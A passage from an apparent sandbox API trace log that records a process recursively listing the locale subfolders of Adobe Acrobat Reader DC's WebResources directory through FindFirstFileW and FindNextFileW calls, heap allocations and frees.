| out: lpFindFileData=0x3f7e918) returned 1 [0286.956] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x3f7e918 | out: lpFindFileData=0x3f7e918) returned 1 [0286.956] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0286.956] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core") returned 91 [0286.956] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\*", lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 0x380bce0 [0286.957] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0286.957] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x3f7e69c | out: lpFindFileData=0x3f7e69c) returned 1 [0286.957] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4681f78 [0286.957] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev") returned 95 [0286.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\*", lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 0x380c220 [0286.957] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0286.957] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x3f7e420 | out: lpFindFileData=0x3f7e420) returned 1 [0286.958] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4610f18 [0286.958] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls") returned 99 [0286.958] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\*", lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 0x380bde0 [0286.958] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.958] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.958] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.958] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae") returned 105 [0286.958] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.958] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.958] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.958] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.958] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.959] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es") returned 105 [0286.959] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.959] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.959] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.959] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.959] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.959] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.959] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.959] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz") returned 105 [0286.959] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.959] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.960] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.960] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.960] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.960] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.960] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.960] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk") returned 105 [0286.960] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.960] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.960] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.960] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.960] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.960] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.961] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.961] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de") returned 105 [0286.961] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.961] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.961] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.961] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.961] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.961] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.961] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.961] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae") returned 105 [0286.961] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-ae\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380be20 [0286.962] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.962] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.962] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.962] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0286.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.962] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.963] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.963] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb") returned 105 [0286.963] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-gb\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.964] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.964] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.964] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.964] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.964] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.964] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.965] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il") returned 105 [0286.965] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.966] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.966] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.966] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.966] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.966] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.966] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.966] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es") returned 105 [0286.966] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.967] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.967] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.967] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.967] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.967] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.967] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es") returned 105 [0286.967] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.987] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.987] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.987] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.987] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.987] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.987] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.987] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.987] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi") returned 105 [0286.987] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fi-fi\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.991] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.991] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.991] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.992] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.992] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.992] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.992] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.992] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr") returned 105 [0286.992] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.993] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.993] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.993] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.993] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.993] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.993] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.993] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.993] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma") returned 105 [0286.993] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.994] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.994] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.994] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.997] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.997] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.998] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.998] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il") returned 105 [0286.998] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0286.999] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0286.999] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0286.999] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0286.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0286.999] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0286.999] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0286.999] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr") returned 105 [0286.999] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.000] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.000] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.000] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.000] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.000] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.000] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.000] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.000] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu") returned 105 [0287.000] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.001] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.001] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.001] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.001] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.001] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.001] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.001] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.001] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it") returned 105 [0287.002] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.002] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.002] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.002] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.002] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.002] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.002] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.002] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp") returned 105 [0287.002] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.003] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.003] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.003] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.003] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.003] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.003] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.003] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr") returned 105 [0287.003] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.014] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.015] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.015] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.015] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.015] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.015] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no") returned 105 [0287.015] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\*", lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0x380bda0 [0287.015] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.015] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 1 [0287.016] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x3f7df28 | out: lpFindFileData=0x3f7df28) returned 0 [0287.016] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0287.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.016] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x3f7e1a4 | out: lpFindFileData=0x3f7e1a4) returned 1 [0287.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4620f20 [0287.016] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl") returned 105 [0287.016] 